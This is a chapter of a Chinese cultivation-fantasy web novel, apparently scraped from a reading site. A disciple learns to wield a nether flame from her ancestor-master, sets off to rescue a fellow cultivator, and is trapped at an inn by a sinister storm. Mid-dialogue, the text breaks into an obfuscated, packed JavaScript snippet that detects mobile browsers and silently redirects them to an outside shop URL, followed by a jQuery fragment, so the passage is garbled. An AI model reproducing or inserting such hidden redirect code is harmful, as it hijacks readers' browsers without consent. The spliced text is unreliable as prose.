默认冷灰
24号文字
方正启体

15. 你想死在这吗

作者:Luminouk本书字数:K更新时间:
    李晏京收回手:“是我疏忽。”


    我翻着手看储物戒,尝试引出一点腹内的青焰,本有所期待,但那团火焰毫无反应。


    “师祖。”我不知怎么办,有些发怔。


    更让我警醒的是,我好像开始觉得李晏京无所不能。


    当我无法引动幽冥火时,我心里没有怀疑他,只有四个字——怎么可能。


    这一瞬后,我一度对李晏京起了杀心。


    我的字典里不应有“重蹈覆辙”。


    李晏京闭目,盘腿坐于矮桌之后,不说话时如同一尊神像,他迟钝地应声:“嗯?”


    见我看他,好似才反应过来,熟悉的灵力绕过我的手腕,活物一样牵起我的手,另一部分转头去往腹部。


    丹田处一烫,我“看”见幽冥火膨胀开,传来的不适使我腰腹微蜷,整个人佝下去些许,又寒又热。


    “莫要走神,”李晏京坐在对面,明明没动,但他的灵力早已抱住我,“仔细感受我是如何引出这青焰的。”


    我压下微颤的声音,抬起头,说出心里话,语气不善:“它臣服于你,却不听我的,和你的那个剑、鸟一样。”


    李晏京的头稍侧,没有动容,“不要小瞧你自己,郁负雪。感受它、容纳它,现在它和你是一体的,但你才是主导者。”


    黑暗中,青焰只在原地照亮一小块儿地方,我勾着腰,随着李晏京的灵力牵引,若有所感地跟随感悟。


    “看”见以幽冥火为中心,逐渐延伸出许多深绿发亮的根,李晏京的灵力隐到暗处,仍与我的精神缠绕,但将更多的操纵交于我。


    幽冥火如一株树苗,被李晏京引出根系,我又去拔高它。


    它从我的丹田开始,顺着破损的灵脉攀附,自带寒意,将周围的黑照出昏暗光晕。


    心念微动,那柄剑就被收入储物戒中。


    李晏京的灵力散去,重新闭眼。


    “出宗吧,陈青芜在溪城,即将入魔。要救他,需日夜兼程。”


    我立刻回过神站起身,额头还有些许薄汗。


    由于起来太快,眼前模糊一瞬,又变得清晰,没等我说话,李晏京的手轻轻一挥,我就被一阵风送到殿外。


    待我站定,冷风吹过额头激起冷意,我才带着满心疑惑擦去薄汗,分析他刚刚的态度,往外走几步,转头看向殿门。


    李晏京今天很奇怪。


    从他那天的表现来看,他是不想我离开玄清宗的,又或者说,是不想我离开他后出事。


    现在却有一种迫不及待赶我走的感觉。


    这时,我眼神微动:“嗯?”


    殿后飞速闪过一道流光,但我还是看见了,除去李晏京,没有人会在无名峰上如此行事,我并非惊于他的离开。


    我惊讶的是,李晏京他遁入了那后处隐藏的高阁之中!他轻描淡写提过的建筑!


    那座晶莹高阁中有什么。


    断裂的仙路?还是满阁的宝贝?又或者,是李晏京的又一大弱点?


    我垂眸敛去思绪,转身继续前行。


    总有一天我会知道李晏京的全部。


    出宗后目标明确,直奔位于玄清宗东北方向的溪城,我租下一匹快马,在它能接受的范围内策马启程。


    往年出去做任务时,我储物袋里的东西都是通过贡献点或者自己的本事收集的,长垣仙君从来没有过问,也没有给过我什么,除了原来的那柄剑。


    我曾以为那是对我放心,对我的一种历练,毕竟修士不能光靠外物修行,自身的锻炼才是最重要的。


    但现在看,或许仅仅是不在意。


    李晏京在储物戒里给我准备了许多东西,大致翻看,各种款式的防护法衣……他何时丈量我身躯各个尺寸的?凡间通用的银子和金珠子,各种灵宝法器、符箓,还有些书籍。


    书籍我草草翻过,是一些目前对我来说比较温和的聚气方法,有稳固灵脉的作用。


    至于灵石,则是堆成一座山,在储物戒空间的角落里发亮。


    我不用再划破自己的手,以鲜血书写冗长口诀来催动简单法阵,可以用成堆灵石,佐以青焰的些许力量绘出。


    只是成功概率仍是未解的难题。


    路上偶尔停下买吃食时,总觉得凡间多出几分匆忙,各地都不太平,修真界的千机寺被屠事件也已被传出数里。


    “你哈听讲那个和尚庙没得了的事啊。”


    “啪!”另一人激动的一拍桌子,“你也晓得哈!我正打算跟你讲嘞,老可怕的咯!”


    隔壁桌的人扭过头,在两人脸上扫一眼:“你们都不知道吧!那是本寺的人干的!是个年轻弟子,狼心狗肺!千机寺好心收他入寺学习,他却屠了人家!”


    先前拍桌子的哎哟一声,捂住心脏,口音更明显,“憋讲了噻!年轻人才狠嘞!吓死俺的咯!俺儿子也是,讲离家就离家!小年轻都是没心肝儿的东西!”


    “现在的年轻人都怎么想的!我家也是……头疼的很!”


    摊主包好冒热气的包子。


    “欸!客官,来,您的两个肉包子拿好咯!新鲜热乎的还烫手!”


    我收回视线,接过滚烫的油纸包,掰下碎银子给他——李晏京没有给我准备铜板。


    “客官!多了!找不开啊!”


    我摆手,“不用找了。”


    牵着马走出禁骑区,我重新翻身而上,坐稳后轻抖缰绳,马蹄便踏风而跑,甩开身后暖和的集市。


    沿途并非没有修士,如王卿尘所言,陈青芜的举动令正道震惊后大怒,越是靠近各门派范围的城镇,他的追杀令就越多。


    我压低笠沿,扯去在榜上张贴的陈青芜的画像,淋着雨回到客栈内。


    这客栈就住着盛阳派的弟子。


    他们集体都有种风风火火的脾性,坐着没一会儿就如同板凳烧着了一样,又站起身踱步,看着外面的瓢泼大雨,眉宇间都是急躁。


    他们中唯有一男子身着红白相间的道袍,神态自若地喝着茶,显得格格不入。


    “大师兄!能别磨叽了吗?前面就是溪城,咱在这芙气镇逗留什么啊!”


    “就是啊,大师兄,一点小雨而已,咱身为修仙之人还怕这个吗!一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535171|203792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个避雨诀不就行了?”


    我坐在靠窗的桌椅边,搁下茶杯,望向外面下得已经看不清远距离东西的“小雨”。


    盛阳派的人可真有意思。


    那位慢性子的大师兄说:“不急,不急……等雨停了再说。”


    “听说人就在溪城!这都要到魔修的地盘去了!你说这陈青芜存的什么心!”


    “再晚些,我们什么也捞不着,还拿什么去和别派争前十宗派名额。”


    那位男子嘬了一口茶:“都说了,不急,是我们的逃不了,不是我们的拿不起。”


    我听罢,顺着楼梯上去,摘下斗笠和发簪,用布巾搓着发尾。


    雨越下越猛,打在屋顶的声音有如小钟。


    我站在窗边擦头发,接着重新用簪子挽起,白发惹眼,我要么用储物戒里的符箓,要么是戴着斗笠遮掩。


    “嗯?雨中有什么东西。”


    我的手中出现那柄嵌着暗月的剑,此剑也颇具灵性,但看着不是李晏京会拥有的东西。


    这剑太过寡淡,看起来平平无奇,实则暗藏锋芒,只是没有克己剑那种出鞘即夺目的气势,它内敛许多。


    我眯起眼盯着窗外,鼻间都是泥土草湿味,雨瀑带着水汽,模糊人的视线,其间疑似有黑影闪过,我辨不分明。


    天色渐暗,很容易让人以为是错觉。


    但这里接近溪城,接近魔修的地盘,若有魔物,也并不奇怪。


    本想等雨停后就去隔壁的溪城寻陈青芜,日夜兼程我已做到,谁曾想只是躲个雨,就被困在了这个小地方。


    我皱起眉,摸了摸左侧耳朵挂着的耳坠,这是听音法器,就在刚刚,倾盆大雨中传来清晰的一声尖叫。


    芙气镇的“福气”到头了。


    夜晚,掌柜的和小二早已歇下,他们这群人先是受最近的溪城庇护,再是交些东西给正魔两边,求一个安宁日子,平日里苦的很,却也还算过得去。


    我放轻脚步,隐在二楼,看着下面的盛阳派弟子,他们的大师兄或许早就察觉到这诡异大雨的不对,发现已经走不了的现实,才告诉他们不急。


    年轻弟子缺乏警觉性,又急于为门派做贡献,一时失去观察力,光顾着毛毛躁躁。但没有那个男人的命令,无一人跑出去。


    “喂,关门。”


    想了想,我看着大开的客栈门,从阴影中走出,双手搭在栏杆上,低头和那男人对视,发现他果然在等我。


    男子的眼中带着点笑,“道友肯露面了,徐某甚是开心啊。”


    他身边的师弟师妹们立刻围成一个圈,停下喋喋不休的商讨,一致站到男子身边,有的已经拔剑对着我。


    “剑收起来,大家都是同道中人,拔剑相向像什么话嘛。”男子本身说话就有些慢,起身拱手,“在下盛阳派徐昭,不知道友哪门哪派,姓甚名谁啊。”


    他不认识我也正常,盛阳派太小,见玄清宗的各峰大弟子还不够格,我见过他,名字是刚知道。


    我未回答,左手捏紧剑柄,视线看向门口的黑暗,“关门,你想大家都死在这儿吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)